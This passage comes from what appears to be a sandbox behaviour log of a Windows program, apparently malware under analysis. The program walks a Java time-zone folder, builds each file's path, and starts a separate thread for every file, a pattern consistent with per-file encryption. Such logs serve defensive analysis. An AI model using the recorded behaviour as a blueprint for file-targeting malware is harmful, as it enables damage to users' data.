dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x173c [0167.196] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Djibouti", cAlternateFileName="")) returned 1 [0167.196] wcscmp (_String1="Djibouti", _String2=".") returned 1 [0167.196] wcscmp (_String1="Djibouti", _String2="..") returned 1 [0167.196] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c5a8 [0167.196] wcscpy (in: _Dest=0x93c5a8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.196] wcscat (in: _Dest=0x93c5a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.196] wcscat (in: _Dest=0x93c5a8, _Source="Djibouti" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Djibouti") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Djibouti" [0167.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c5a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1740 [0167.197] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Douala", cAlternateFileName="")) returned 1 [0167.197] wcscmp (_String1="Douala", _String2=".") returned 1 [0167.197] wcscmp (_String1="Douala", _String2="..") returned 1 [0167.197] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8878 [0167.197] wcscpy (in: _Dest=0x8e8878, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.197] wcscat (in: _Dest=0x8e8878, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.197] wcscat (in: _Dest=0x8e8878, _Source="Douala" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Douala") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Douala" [0167.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1744 [0167.198] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="El_Aaiun", cAlternateFileName="")) returned 1 [0167.199] wcscmp (_String1="El_Aaiun", _String2=".") returned 1 [0167.199] wcscmp (_String1="El_Aaiun", _String2="..") returned 1 [0167.199] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8968 [0167.199] wcscpy (in: _Dest=0x8e8968, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.199] wcscat (in: _Dest=0x8e8968, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.199] wcscat (in: _Dest=0x8e8968, _Source="El_Aaiun" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\El_Aaiun") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\El_Aaiun" [0167.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd08 [0167.216] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Freetown", cAlternateFileName="")) returned 1 [0167.216] wcscmp (_String1="Freetown", _String2=".") returned 1 [0167.216] wcscmp (_String1="Freetown", _String2="..") returned 1 [0167.216] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c2d8 [0167.216] wcscpy (in: _Dest=0x93c2d8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.216] wcscat (in: _Dest=0x93c2d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.216] wcscat (in: _Dest=0x93c2d8, _Source="Freetown" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Freetown") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Freetown" [0167.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c2d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1748 [0167.218] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gaborone", cAlternateFileName="")) returned 1 [0167.218] wcscmp (_String1="Gaborone", _String2=".") returned 1 [0167.218] wcscmp (_String1="Gaborone", _String2="..") returned 1 [0167.218] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e90e8 [0167.218] wcscpy (in: _Dest=0x8e90e8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.218] wcscat (in: _Dest=0x8e90e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.218] wcscat (in: _Dest=0x8e90e8, _Source="Gaborone" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Gaborone") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Gaborone" [0167.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e90e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13d8 [0167.225] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Harare", cAlternateFileName="")) returned 1 [0167.225] wcscmp (_String1="Harare", _String2=".") returned 1 [0167.225] wcscmp (_String1="Harare", _String2="..") returned 1 [0167.225] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8d28 [0167.225] wcscpy (in: _Dest=0x8e8d28, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.225] wcscat (in: _Dest=0x8e8d28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.225] wcscat (in: _Dest=0x8e8d28, _Source="Harare" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Harare") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Harare" [0167.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1394 [0167.528] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Johannesburg", cAlternateFileName="JOHANN~1")) returned 1 [0167.528] wcscmp (_String1="Johannesburg", _String2=".") returned 1 [0167.528] wcscmp (_String1="Johannesburg", _String2="..") returned 1 [0167.528] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0000 [0167.528] wcscpy (in: _Dest=0x8d0000, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.528] wcscat (in: _Dest=0x8d0000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.528] wcscat (in: _Dest=0x8d0000, _Source="Johannesburg" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Johannesburg") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Johannesburg" [0173.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd10 [0173.056] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x151, dwReserved0=0x0, dwReserved1=0x0, cFileName="Juba", cAlternateFileName="")) returned 1 [0173.056] wcscmp (_String1="Juba", _String2=".") returned 1 [0173.056] wcscmp (_String1="Juba", _String2="..") returned 1 [0173.056] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1058 [0173.056] wcscpy (in: _Dest=0x8f1058, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.056] wcscat (in: _Dest=0x8f1058, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.056] wcscat (in: _Dest=0x8f1058, _Source="Juba" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Juba") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Juba" [0173.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0173.057] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kampala", cAlternateFileName="")) returned 1 [0173.057] wcscmp (_String1="Kampala", _String2=".") returned 1 [0173.057] wcscmp (_String1="Kampala", _String2="..") returned 1 [0173.057] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8f08 [0173.057] wcscpy (in: _Dest=0x8e8f08, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.057] wcscat (in: _Dest=0x8e8f08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.057] wcscat (in: _Dest=0x8e8f08, _Source="Kampala" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kampala") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kampala" [0173.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8f08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0 [0173.059] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x151, dwReserved0=0x0, dwReserved1=0x0, cFileName="Khartoum", cAlternateFileName="")) returned 1 [0173.059] wcscmp (_String1="Khartoum", _String2=".") returned 1 [0173.059] wcscmp (_String1="Khartoum", _String2="..") returned 1 [0173.059] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8698 [0173.059] wcscpy (in: _Dest=0x8e8698, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.059] wcscat (in: _Dest=0x8e8698, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.059] wcscat (in: _Dest=0x8e8698, _Source="Khartoum" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Khartoum") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Khartoum" [0173.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8 [0173.060] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kigali", cAlternateFileName="")) returned 1 [0173.060] wcscmp (_String1="Kigali", _String2=".") returned 1 [0173.060] wcscmp (_String1="Kigali", _String2="..") returned 1 [0173.060] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e93b8 [0173.060] wcscpy (in: _Dest=0x8e93b8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.060] wcscat (in: _Dest=0x8e93b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.060] wcscat (in: _Dest=0x8e93b8, _Source="Kigali" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kigali") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kigali" [0173.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e93b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c [0173.062] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kinshasa", cAlternateFileName="")) returned 1 [0173.062] wcscmp (_String1="Kinshasa", _String2=".") returned 1 [0173.062] wcscmp (_String1="Kinshasa", _String2="..") returned 1 [0173.062] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8e90 [0173.062] wcscpy (in: _Dest=0x8e8e90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.062] wcscat (in: _Dest=0x8e8e90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.062] wcscat (in: _Dest=0x8e8e90, _Source="Kinshasa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kinshasa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kinshasa" [0173.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc [0173.063] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lagos", cAlternateFileName="")) returned 1 [0173.063] wcscmp (_String1="Lagos", _String2=".") returned 1 [0173.063] wcscmp (_String1="Lagos", _String2="..") returned 1 [0173.063] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e92c8 [0173.063] wcscpy (in: _Dest=0x8e92c8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.063] wcscat (in: _Dest=0x8e92c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.063] wcscat (in: _Dest=0x8e92c8, _Source="Lagos" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lagos") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lagos" [0173.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e92c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4 [0173.065] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libreville", cAlternateFileName="LIBREV~1")) returned 1 [0173.065] wcscmp (_String1="Libreville", _String2=".") returned 1 [0173.065] wcscmp (_String1="Libreville", _String2="..") returned 1 [0173.065] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0300 [0173.065] wcscpy (in: _Dest=0x8d0300, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.065] wcscat (in: _Dest=0x8d0300, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.065] wcscat (in: _Dest=0x8d0300, _Source="Libreville" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Libreville") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Libreville" [0173.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8 [0173.067] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lome", cAlternateFileName="")) returned 1 [0173.067] wcscmp (_String1="Lome", _String2=".") returned 1 [0173.067] wcscmp (_String1="Lome", _String2="..") returned 1 [0173.067] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f0e28 [0173.067] wcscpy (in: _Dest=0x8f0e28, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.067] wcscat (in: _Dest=0x8f0e28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.067] wcscat (in: _Dest=0x8f0e28, _Source="Lome" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lome") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lome" [0173.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f0e28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac [0173.068] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Luanda", cAlternateFileName="")) returned 1 [0173.068] wcscmp (_String1="Luanda", _String2=".") returned 1 [0173.068] wcscmp (_String1="Luanda", _String2="..") returned 1 [0173.068] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8968 [0173.068] wcscpy (in: _Dest=0x8e8968, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0173.068] wcscat (in: _Dest=0x8e8968, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0173.068] wcscat (in: _Dest=0x8e8968, _Source="Luanda" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Luanda") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Luanda" [0173.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8968, dwCreationFlags=0x0, lpThreadId=0x0 | out: 